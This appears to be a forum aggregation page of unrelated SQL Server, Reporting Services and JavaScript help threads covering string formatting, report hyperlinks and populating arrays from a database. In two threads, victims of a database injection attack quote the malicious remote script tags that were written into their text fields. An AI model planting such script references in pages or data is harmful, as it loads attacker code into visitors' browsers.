Formatting A Javascript String For SQL - Help Please
Jul 26, 2004
I am well stuck in the mud right now.
Here is the problem. I am trying to write this: strLink2 = "<a href='JavaScript:OpenFile(" & strFileName & ")'>" & strFileName & "</a>" to SQL and then return it to a datagrid when I want it.
Easy enough, and as such all is well except for the fact that the Javascript doesn't work. In the grid it gets written as JavaScript:OpenFile(myfile). I need to add the single quotes around the file name so it writes JavaScript:Open('myfile').
I now know many ways that do not work. Any help would be greatly appreciated.
View 5 Replies
ADVERTISEMENT
Apr 14, 2008
Hi, I've a string like :
'...,,,,,123456789,,,,,,.........876564532$$££^^(.........,,,,,'
I'd like to know if there is a way to replace everything between these two integers (well, actually we can say two words as they are in the string format) with a single comma (i.e ,) and remove everthing leading and trialing to these two numbers please ?
In short , I would like to see the above line after string manipulation as follows :
'123456789,876564532'
Thanks for your help.
View 18 Replies
View Related
Dec 9, 2007
Is there anything in SSIS that enables simple string reformatting?
For example I'd like to convert the character string 1234567.89 to 1,234,567.89.
I used to do this with an edit pattern in Cobol, but I can't see anything in the Expressions editor....
View 4 Replies
View Related
May 27, 2008
I have what should be a simple string formatting issue -- removing all alpha characters from a phone number. T-SQL below is simple and works just fine:
declare @home_phone as char(14);
set @home_phone = '(123)979-3206';
set @home_phone = REPLACE(@home_phone,'-','');
set @home_phone = REPLACE(@home_phone,'(','');
set @home_phone = REPLACE(@home_phone,')','');
The condensed version below works equally well:
set @home_phone = REPLACE((REPLACE((REPLACE(@home_phone,'(','')),')','')),'-','');
Either script above returns correct result:
select @home_phone;
Result = '1239793206'
HOWEVER, within SSIS Derived Column expressions, this function fails to remove parentheses. First of all, Expression Builder doesn't like outer single quotes (turns red) which I resolved by using double quotes resulting in the following expression:
REPLACE(home_phone,"-","") + REPLACE(home_phone,"'('","") + REPLACE(home_phone,"')'","")
Unfortunately, this expression fails to remove parentheses and instead returns: '(123)9793206'
I've tried several different permutations--no inner single quotes; adding more inner single quotes; etc., but so far no success. Any suggestions would be much appreciated!
View 15 Replies
View Related
Sep 12, 2007
I have a string in which I am combining several fields. Is there a way to add formatting to the string as well
="Baud: " & Fields!BAUDRATE.Value & " DL Status: " & Fields!COMMSTATUS.Value
Example, I want my fields to appear in bold and string in normal.. I can't do this in an individual textbox due to space constraints
View 1 Replies
View Related
Jul 9, 2013
'17686568 - Bill Statement - 11/16/2006 - Stm. Date - 10/27/2006'
Above is the data string that I am trying to pull the information from. Here is the function I'm currently using:
cast(substring(c.itemname,charindex('Bill Statement - ',c.itemname)+18,10) as varchar)
...which gives me what i want most of the time, but beacuse the date is not equally formatted through out the database and the date can look like 5/4/2012 and using the above formula it will show up as 5/4/2012 -
So my question is how can i trim off the dash part when the data shows up like 5/4/2012 - ?
View 3 Replies
View Related
Mar 2, 2012
I'm trying to put conditional formatting on a field, that behaves as follows:
The data in the field is varchar, and sample data is either:
NULL
3.0 :0
11.7 :1 (these are ratios of a sort)
I want to evaluate the first 3 characters of the string as numbers.
Example:
Mid(fieldvalue,1,3) = "3.0" or "11."
Any data that is greater than 1.99, I want to make the background dark red, anything else including nulls, zebra formatting. I have the following expression built so far and it appears to work, except when the value is null. If the value is null, it leaves the background color white.
This is the warning: [rsRuntimeErrorInExpression] The BackgroundColor expression for the text box "Asthma" contains an error: Input string was not in a correct format.
=iif(
isnothing(Fields!Asthma.Value)
,(IIf(RowNumber(Nothing) Mod 2 = 0,"#b8cce4","#dbe5f1"))
,(iif(mid(Fields!Asthma.Value,1,3)>1.99
,"DarkRed"
,IIf(RowNumber(Nothing) Mod 2 = 0,"#b8cce4","#dbe5f1"))))
My logic is, if the field is null, zebra format, if mid of the value is > 1.99, dark red, everything else zebra formatting. As I said, this seems to work except for nulls.
View 2 Replies
View Related
Jul 5, 2002
I am new, but am good at javascript.Can one use SQL in javescript, that is, to create good html forms whose buttons are linked to SQL datebases?
View 1 Replies
View Related
Jan 4, 2007
Hello everyone,
I am trying to implement two list boxes such that contents of one depends on selection in the other w/o reloading the page. I am using SqlDataSource object to retrieve data from SQL DB. When I am trying to write javascript for listbox population I run into an issue of not knowing which properties I have access to for SqlDataSource object. I need to know how many rows of information is there in the object and how to access that data. Can anyone advise on how would I do that, or direct me to a website that has a list of avalable properties?
Thank you!
View 3 Replies
View Related
Jan 12, 2008
Hello all
I need to fill javascript array from database on page load
I need your advice , any tutorial please ..
thank you
View 3 Replies
View Related
Mar 12, 2008
hi,
i have created a database where information on the web page is pulled out from the database. however i need to add javascript functionality to it. does anyone have any suggestions as to how i can achieve this and what is the best way to do it, eg, use dataview, gridview. if anyone thinks it would be easier for me to post up some of my code then i will upon request.
thanks for any help given, it is much needed
View 6 Replies
View Related
Oct 19, 2001
I would like to know if someone has any idea on how to make a "<select></select>" tag hidden. for a textbox it's simply:
<input type="hidden" id="textCustom2" name="textCustom2" value>.
Is there such a thing for options? a javascript perharps?
thanks.
View 1 Replies
View Related
Oct 23, 2007
Hi, I am trying to link to a page outside of reporting services from a report. I am using SQL Server 2005 Reporting Services [Standard Edition]. The hyperlink works if it is a straight URL, however, nothing happens if I modify it to use Javascript so I can open the link in a new window. I have found many posts on the web from others indicating it should be really easy, but I can not get the link to recognize ANY Javascript (also tried a basic alert with no luck).
The Javascript I am using is well formatted. I can place it into a test page and it runs fine. I can also RC and View Source on my report, grab the entire link, put it in a test page and it works fine. It just doesn't work from the report - ?
Any ideas?
Thanks in advance,
Francine
View 3 Replies
View Related
Jul 12, 2007
Hi everybody,
I need to get the value of the ShowParametersPrompt property of the ReportViewer control.
This Reporting Services control is used in an asp.net 2.0 page.
With javascript I want to change the height of some elements of the page and this accordign to the height of the report viewer.
Can anybody help me to get the value of some properties of this control?
thanks in advance!!
best regards
Filip De Backer
View 4 Replies
View Related
May 1, 2008
Greetings to all -
I am trying to enter the date fields from my form into a SQL 2005 db by way of Visual Basic. The VB parameters are as follows:
Protected Sub DataEntry_Btn_NewGig_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles DataEntry_Btn_NewData.Click Dim EnterData As New SqlDataSource() EnterData.ConnectionString = ConfigurationManager.ConnectionStrings("MyDB_ConnectionString").ToString EnterData.InsertCommandType = SqlDataSourceCommandType.Text EnterData.InsertCommand = "INSERT INTO Data(Name,ExpertiseID,Description,PONumber,StartDate,EstHours,HourlyRate)VALUES(@Name,@ExpertiseID,@Description,@PONumber,@StartDate,@EstHours,@HourlyRate)" EnterData.InsertParameters.Add("Name", TBox_Name.Text) EnterData.InsertParameters.Add("ExpertiseID", Drop_Expertise.SelectedValue) EnterData.InsertParameters.Add("Description", TBox_Description.Text)
...and so on...
All works well with data input into the ASP form using VB. The problem is, I'm using a Javascript date picker (calendar) to make it easier for users to input the date into the "StartDate" SQL column mentioned above. Do I want to use Javascript to enter this data, or VB? And, how do I write this code whether it is one or the other? I want to have all data entered with one button click event. Also, the code I am using for the calendar date picker is below:
<td><input type="text" name="date" id="f_date_a" readonly="readonly" />
<img src="img.gif" id="f_trigger_a" style="cursor: pointer; border: 1px solid blue;" title="Date selector" onmouseover="this.style.background='blue';"
onmouseout="this.style.background=''" alt="Click to Enter Date"/>
<script type="text/javascript">Calendar.setup({inputField : "f_date_a",ifFormat : "%B %e, %Y",button : "f_trigger_a",align : "TL",singleClick : true });
</script></td>
I apologize if this post is in the wrong forum; thanks to all in advance...
View 1 Replies
View Related
Mar 21, 2008
I need to dispaly 'mm/dd/yyyy' on a text box(aspx page) by default.
When the user enters the date(only numerics) in the text box it should take the date in that order.
eg.. if the user enters 01012008 on that text box, it should display 01/01/2008, adding '/' by itself.
if the user enters 12312008 on that text box, it should display 12/31/2008, adding '/' by itself.
I am having tuff time,Can anyone, please provide the code for this solution.
View 1 Replies
View Related
Jan 8, 2007
I found an article on connecting SQL server using JavaScript. http://www.devarticles.com/c/a/JavaScript/Combining-North-Pole-with-South-Pole-JavaScript-with-SQL-Server-2000/
Do you people think it's possible? i try out the code already but something wrong with it. I just copy and paste it to a html file but it comes out with error. Do I miss out something? Thanks.
SY Tee
View 3 Replies
View Related
Oct 18, 2007
Hi All.
So what I'm trying to do is open a new report in a new window(which I can already do) and keep that new window above all other windows.
Here is the code I'm using to open the new window.
javascript:void window.open('http://reportserver2/ReportServer/Primavera/?%2fprimavera%2fcustom+reports%2fIT%2fUnder+Review+Rup+Commitment+IT+Artifacts+subreport&rc:Toolbar=False&rs:Command=Render&pickITDeliveryOID=" & Fields!OID.Value & "', 'Test', 'location=0, menubar=0, toolbar=0, resizable=0, width=450, height=200')
It works great. I'm able to open the window and target links back to the same open window. But what I can't do is keep that window on top above all of the other windows. That is without closing the newly opened window and reclicking another link.
Is there someway for me to set the focus to the newly opened window so it will always remain above all other windows? I know this can be done with javascript(Code below would do the trick) but I'm just not sure how to incorporate the scripts into reporting service.
var newwindow;
function windowopen(url)
{
newwindow=window.open(url,'name','height=400,width=200');
if (window.focus) {newwindow.focus()}
}
<a href="javascript:windowopen('poppedexample.html');">Pop it</a>
Any help would be greatly appreciated
Thanks
View 1 Replies
View Related
Jan 31, 2008
I'm using reporting services actions to execute some javascript. My javascript is quite complicated. Thus I don't want to duplicated it on each item. I've created javascript function and wan't to execute it from actions. But I can't find the way how to include my javascript code into my reports. If there's way to include it for all reports generated on reporting services server - it works fine for me.
Thanks in advance!
View 3 Replies
View Related
Apr 20, 2006
Hi,
i have a problem with the rs 2005, using url access to call a report:
---------------------------
Error
---------------------------
Error: 'RSClientController' is undefined
Calling a report from the reportmanager works. The rs2005 runs on a machine with a parallel installed rs2000.
I configured the virtual directory to machinename/reports2005 & machinename/reportserver2005.
When i debug the clientscript i see that he requests a "/ReportServer2005/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=9.00.1399.00&Name=Scripts.ReportViewer.js" and it seems that he doesn't get the jscript file.
I tried the solution with the axd-mapping, which an user posted here before but it didn't worked for me.
any other suggestions?
View 22 Replies
View Related
Feb 27, 2008
hi,
iam thinking of changing my ajax slideshow so that it gets the data from the databse. currently i am finding it hard to add text functianlity the way i want with the slide show.
what my query is, that if i to using a datalist can i add javasscript functionality to the data being retrived. for example, currently i have written some javascript so that a series of text is diplayed one after the other in a sequence from just one button click. so if im pulling data out of a databse can i still add this javascript functionality to it? i hope this makes sense, if it doesnt then i am willing to elaborate. please can any one offer any advice or examples or any suggestions on how i can do this. any help is much appricated as i am struggling to find a solution as i orinally wanted to be able to add this javascript functionality with the play button of the slide show but i couldnt find a solution.also i think its better to use some kind of database as i can use the editing funtions visual web developer offers
thank you
View 2 Replies
View Related
Apr 2, 2008
Can anyone help with the proper syntax to use to populate a JavaScript array using values from an SQL database.
I tried doing the following with no results:
Dim sql,Rs1
sql = ""
sql = sql & "SELECT EmpNumber FROM EmpFile "
Set Rs1 = Server.CreateObject("ADODB.Recordset")
Rs1.Open sql, DecryptedText(TheFile,"ConSQL"), 3
%>
<script language="JavaScript">
EmpNumber=new Array(<%=Rs1("EmpNumber")%>);
</script>
View 1 Replies
View Related
Mar 31, 2006
Hello-
I have developed a number of reports on Win XP with VS2005. They run on our development server, which is running Windows Server 2003 32-bit. I then deploy these reports on our production server, which is running Windows Server 2003 64-bit edition.
Accessing any of the reports from Report Manager results in javascript errors, such as 'Line 41 Error: 'RSClientController' is undefined'
I get these errors also when invoking these reports through a form post.
It appears that some javascript code generated by the report server is missing. Could this be a 32-bit vs 64-bit issue? Report Manager seems to work fine; it is only when I run a report that I have this problem. This is the first time I've tried to deploy reports to this server.
Thanks.
View 13 Replies
View Related
Jan 1, 2008
I have a SQL Server 2000 database that had its data corrupted. Any text field, usually varchar(50) or greater, had most of its text replaced with a script HTML tag pointing to a w.js file on rnmb.net. I think the update came in through a website because only one of the databases on the server had its data corrupted. Has anyone heard of this before? I can't find any information on this corruption on the internet because when I do a search for the exact script, it returns other websites that have been corrupted by it.
View 1 Replies
View Related
Dec 4, 2007
I've been trying to find a solution to adding javascript and/or HTML to a report (not reportviewer). After a search I found that you can add javascript to a textbox under action properties and it works fine. Is there a way to add custom code anywhere on the page.
The problem is the charts that come with SRS is limited so I'd like to add my own. I'd also like to add some ajax functionality as well. I know it's possible because a company called Dundas is doing it but not exactly sure how they implemented it. We considered Dundas but they are just too expensive for the solution we need.
Any help would be much appreciated.
View 8 Replies
View Related
Jun 14, 2007
I have a dropdownlist and a text box.
Once i select the item on a dropdownlist, the control should skip to text box.
Here is the code and i get the error.
'onFocus' is not a member of 'ASP.test_aspx'.
can u plz help me out.
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript">
function onFocus()
{
var control = document.getElementById("TextBox1");
if( control != null ) control.focus();
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:DropDownList ID="DropDownList1" runat="server" Width="161px" OnSelectedIndexChanged ="onFocus()">
<asp:ListItem>Javed</asp:ListItem>
<asp:ListItem>Abid</asp:ListItem>
<asp:ListItem>sajid</asp:ListItem>
<asp:ListItem></asp:ListItem>
</asp:DropDownList>
<asp:TextBox ID="TextBox1" runat="server" ></asp:TextBox></div>
</form>
</body>
</html>
View 1 Replies
View Related
Sep 14, 2015
I don't know what am I doing wrong in this piece of code.... cannot seem to get around this.
="javascript:void(window.open('"+Globals!ReportServerUrl +"/Pages/ReportViewer.aspx?"+Globals!ReportFolder+"/"+Parameters!SubreportName.Value+ "?Param1="&Parameters!Param1.Value.ToString()+ "&Param2="&Parameters!Param2.Value+ "','_blank'))
Basically, I'm trying to open a subreport using ActionURL but stuck this js.
It opens up the root folder rather instead of report...
I also referred this post: [URL] ...
Version - SQL Server 2008R2
View 6 Replies
View Related
May 19, 2008
Has anyone ever seen this code (I put the script tags in brackets so it would not get embedded in forum page)?
[script src=http://www.qiqigm.com/m.js][/script]
We have a number of MSDE 2000 databases running on a Windows 2003 SBS. These databases feed information to their respective websites. One of our databases (and on this one only) something or someone is somehow overwriting the text and varchar fields in all of the tables in the database and replacing it with the above or similar javascript. I've been a database developer and administrator for a long time and I have not a clue how this is being accomplished. When this code replaces our data, what ends up happening is 1) the virus detectors start going off the chart if you go to the site and 2) the script somehow appears to attempt to mimic the site its taken over.
When I do a search on qiqigm to see if anybody has had this problem before, really the results you get are pages and pages of sites that appear to be infected directly with the same bogus javascript code...and not a word about what it is or where its coming from. In our case, and it appears many others by looking, replacing the product description or title description or ordering information in the database causes the script to be written to the browser where otherwise the product/order information would be. This causes the script to run when the page is loaded. Since it overwrites the data in all fields in all tables, it assures itself that it will get displayed no matter what a user attempts to do on the site.
On this database, the only user that has access to the database is the IUSR_<domainadmin> account.
I restored this particular database a couple of days ago to an uninfected backup. I had done this before, but the script would eventually manifest itself again at some point. This time I have removed the ability to get to the product pages for now until we figure out the problem. This appears to be keeping the beast at bay. So far (2+ days), the database has remained in tact.
Anybody got a clue as to what it is I'm up against?
TIA,
Ray Jefferson
Database Whiz Consulting
2657 Windmill Pkwy #158
Henderson, NV 89074702-376-6955
View 8 Replies
View Related
Dec 20, 2007
hi ,
i am using sql server reporting services 2005.
When ever report is blank it gives me javascript error. In IE on bottom left it shows js error icon. Details of error are
Line: 13
Char: 692
error: Object Required
Code: 0
kindly guide me ...
thanks
Vishruti
View 6 Replies
View Related
Nov 10, 2015
I am trying to open a pop up window in SSRS without any parameters (just need it to go to this report) and when I click on the link from the main report nothing happens. I have done countless numbers of these with passing parameters, just never without. Am I missing something painfully obvious?
="javascript:void window.open(" &"'"& Globals!ReportServerUrl &"/Pages/ReportViewer.aspx?"&"/Billing Reports/links/ICDQuick)"
View 6 Replies
View Related
Jan 22, 2007
Hello,
Have a problem here needs urgent help. We are on SQL Server 2005, just recently installed SP2. Not sure if the problem is related to that but just now I tried to delete a user from a report (Properties > Security > Delete) I got a JavaScript error exclaimation mark at the bottom of my browser, when I clicked on it, it showed javascript error: 'return' statement outside of function.
The delete user function worked well all along until today, our IT installed SQL 2005 SP2 last week, not sure if it is related. Any solution? (uninstalling SP2 is not an option). and all other javascript functions worked well except the remove user in the security setting..I have no idea what is wrong..
Please advise!! HELP!!!!!
Thanks in advance.
casey
View 2 Replies
View Related
Mar 20, 2007
I'm selecting the last latitude & longitude input from my database to put into the Google maps javascript function.
This is how I retrieve the longitude:
<asp:SqlDataSource ID="lon" runat="server" ConnectionString="<%$ ConnectionStrings:LocateThis %>"
SelectCommand= "SELECT @lon= SELECT [lon] lon FROM [location] WHERE time = (SELECT MAX(time) FROM [location] where year < 2008)">
</asp:SqlDataSource>
I wish to input the latitude & longitude into the JAVASCRIPT function (contained in the HTML head before the ASP) something like this:
var map = new GMap2(document.getElementById("map"));var lat = <%=lat%>;var lon = <%=lon%>;var center = new GLatLng(lat,lon);map.setCenter(center, 13);
However, lat & long do not contain the retrieved result but rather a useless System.something string.
How do I assign the retrieved results to these variables and port them over to Javascript as required?
Many thanks!
View 14 Replies
View Related
Mar 4, 2008
I am new to ASP.NET. At present i am developing a web application in which i need to insert data in database(MS SQL 2005) from a form which uses only HTML controls. I need to use HTML controls so posting of form to the server is not done and hence i need to generate HTML controls using javascript. So the data in the form must be stored in the database. How this data can be inserted in the database is the problem and i think that javascript might be the solution for it.
Sagar
View 3 Replies
View Related